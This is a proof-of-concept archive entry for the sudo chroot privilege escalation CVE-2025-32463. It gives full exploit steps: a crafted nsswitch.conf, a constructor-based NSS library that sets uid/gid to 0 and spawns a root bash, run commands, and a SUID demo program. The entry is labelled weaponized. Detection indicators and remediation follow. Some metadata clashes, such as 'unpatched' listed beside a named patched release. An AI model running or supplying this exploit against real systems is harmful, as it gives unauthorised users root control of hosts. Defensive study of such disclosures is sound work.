PoC Archive PoC Archive
Critical CVE-2025-32463 unpatched

Sudo `chroot` Option Local Privilege Escalation (CVE-2025-32463)

by Rich Mirch (Stratascale Cyber Research Unit); mirrored by Fomovet · 2026-07-06

CVSS 9.3/10
Severity
Critical
CVE
CVE-2025-32463
Category
binary
Affected product
sudo (-R / --chroot option)
Affected versions
sudo 1.9.14 through 1.9.17 (per Stratascale advisory)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherRich Mirch (Stratascale Cyber Research Unit); mirrored by Fomovet
CVE / AdvisoryCVE-2025-32463
Categorybinary
SeverityCritical
CVSS Score9.3 (per NVD)
StatusWeaponized
Tagssudo, chroot, privilege-escalation, nsswitch, nss-module, local-privesc, linux, shell, c
RelatedN/A

Affected Target

FieldValue
Software / Systemsudo (-R / --chroot option)
Versions Affectedsudo 1.9.14 through 1.9.17 (per Stratascale advisory)
Language / PlatformBash shell script + C (shared library / SUID demo), Linux
Authentication RequiredYes (any local unprivileged shell account)
Network Access RequiredNo

Summary

Sudo’s -R/--chroot option allowed an unprivileged local user to make sudo chroot() into a directory the user controls before sudo resolves and loads NSS (Name Service Switch) configuration and modules. Because sudo continues to consult /etc/nsswitch.conf and load NSS modules (e.g. the module backing the passwd database) after the chroot, an attacker can plant a malicious nsswitch.conf and a matching malicious shared library inside their own directory tree, causing sudo — while still running with root privileges internally — to dlopen() attacker-controlled code. This gives arbitrary code execution as root. The included PoC (sudo-chwoot.sh) builds a tiny constructor-based shared object that sets both real/effective uid and gid to 0 and execs /bin/bash as soon as it is loaded, then invokes sudo -R woot woot to trigger the load. A second file, chwoot-demo.c, is a standalone SUID demo that simulates the same “chroot before privileged file resolution” pattern for teaching/CTF purposes without touching sudo itself.


Vulnerability Details

Root Cause

Sudo’s -R chroot_dir command feature changes the process’s root directory with chroot() prior to fully separating “before privileged parsing” state from “attacker-controlled filesystem” state. Specifically, glibc’s NSS layer resolves /etc/nsswitch.conf and loads NSS service modules (libnss_<service>.so.2) using the current (now chrooted) filesystem view. sudo still needs to resolve user/group information (passwd, group databases) as part of its own privileged startup logic, so it ends up loading a shared library from inside the very directory the unprivileged invoking user just chrooted into and fully controls.

The PoC exploits this directly:

1
2
3
4
5
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot

woot/etc/nsswitch.conf redirects the passwd database lookup to a bogus service name (woot1337), which causes glibc to search for and dlopen() libnss_woot1337.so.2 relative to the chrooted filesystem. That shared object was compiled with an ELF .init array entry (__attribute__((constructor))) pointing at the attacker’s woot() function:

1
2
3
4
5
6
__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Because the library is loaded while sudo is still running with elevated privileges (before it has dropped to the target user), the constructor executes as root, immediately re-asserts real/effective uid/gid 0, escapes the chroot by chdir("/"), and execs a root bash shell.

Attack Vector

  1. Unprivileged local user with any sudo rule granting the -R/--chroot option (or, per the advisory, effectively any invocable sudo rule that permits the option) creates a scratch directory tree containing a crafted etc/nsswitch.conf and a malicious libnss_<name>.so.2.
  2. The nsswitch.conf redirects the passwd (or another NSS) database to the attacker’s fake module name.
  3. The user runs sudo -R <attacker_dir> <anything>.
  4. sudo chroots into the attacker directory, then internally performs an NSS lookup (e.g. resolving the invoking or target user), which causes glibc to load the attacker’s shared library from the chrooted path.
  5. The shared library’s constructor runs with sudo’s (root) privileges, resets uid/gid to 0, breaks out of the chroot, and execs a root shell.

Impact

Full local privilege escalation from any unprivileged user with sudo access (even to an otherwise-unrelated/limited command) to root, via arbitrary code execution inside the sudo process itself.


Environment / Lab Setup

- Linux host with vulnerable sudo (1.9.14 - 1.9.17) installed and any sudo rule available to the test user
- gcc / build tools to compile the NSS shim (libnss_woot1337.so.2)
- No network access required; fully local exploitation
- chwoot-demo.c is a separate, self-contained simulation:
    gcc -Wall -o chwoot-demo chwoot-demo.c
    chmod 4755 chwoot-demo   # install as SUID root for demo purposes
    mv chwoot-demo /usr/bin
  It reproduces the "chroot before privileged NSS resolution" pattern in isolation,
  without requiring an actually-vulnerable sudo build, e.g. for CTF use.

Proof of Concept

PoC Script

See sudo-chwoot.sh (original exploit by Rich Mirch / Stratascale CRU) and chwoot-demo.c (standalone simulation/CTF demo) in this folder.

1
2
chmod +x sudo-chwoot.sh
./sudo-chwoot.sh

Detection & Indicators of Compromise

- sudo invocations using the -R / --chroot option from non-administrative/interactive
  accounts, especially paired with a user-writable chroot target directory
- Creation of custom etc/nsswitch.conf files under world-writable or home-directory
  paths shortly before a sudo -R invocation
- Unexpected libnss_*.so.2 shared objects appearing under user-controlled directories
- auditd/execve logs showing sudo followed immediately by a root-owned bash process
  spawned from a chrooted context
- sudo I/O or session logs showing -R usage combined with unusual working directories
  under /tmp or home directories

Signs of compromise:

  • Unexplained root shells spawned by low-privilege user sessions shortly after a sudo -R invocation
  • Presence of attacker-authored nsswitch.conf and libnss_*.so.2 files in temp/staging directories
  • sudo logs showing -R chroot usage that does not correspond to legitimate administrative chroot workflows

Remediation

ActionDetail
Primary fixUpgrade sudo to a patched release (per the sudo project security advisory for the chroot bug, sudo >= 1.9.17p1) that removes/restricts the -R/--chroot privilege-affecting behavior
Interim mitigationRemove or restrict any sudoers rules permitting the -R/--chroot option; audit sudoers for runchroot/-R usage; monitor for unexpected NSS module loads triggered via sudo

References


Notes

Mirrored from https://github.com/Fomovet/cve-2025-32463 on 2026-07-06. This repository packages the well-known, widely circulated public sudo-chwoot.sh PoC authored by Rich Mirch of Stratascale’s Cyber Research Unit (the original discoverer/discloser of CVE-2025-32463), plus an additional chwoot-demo.c file that is explicitly a simulation/CTF-style demonstration of the underlying chroot-before-privileged-resolution pattern rather than a direct sudo exploit — both are legitimate and functional as documented in the upstream README.

chwoot-demo.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
  Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.
               Possible future CTF challenge? :)
  gcc -Wall -o chwoot-demo chwoot-demo.c
  cp 4755 chwoot-demo
  mv chwoot-demo /usr/bin
  Then get a root shell as a low priv user
*/
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h>

int main() {
    chdir("/tmp/stage");
    int saved_root = open("/",O_RDONLY);
    int saved_cwd = open(".",O_RDONLY);
    chroot("/tmp/stage");
    chdir("/");
    gethostbyname("woot");
    fchdir(saved_root);
    chroot(".");
    fchdir(saved_cwd);
    getgrnam("got root?");
}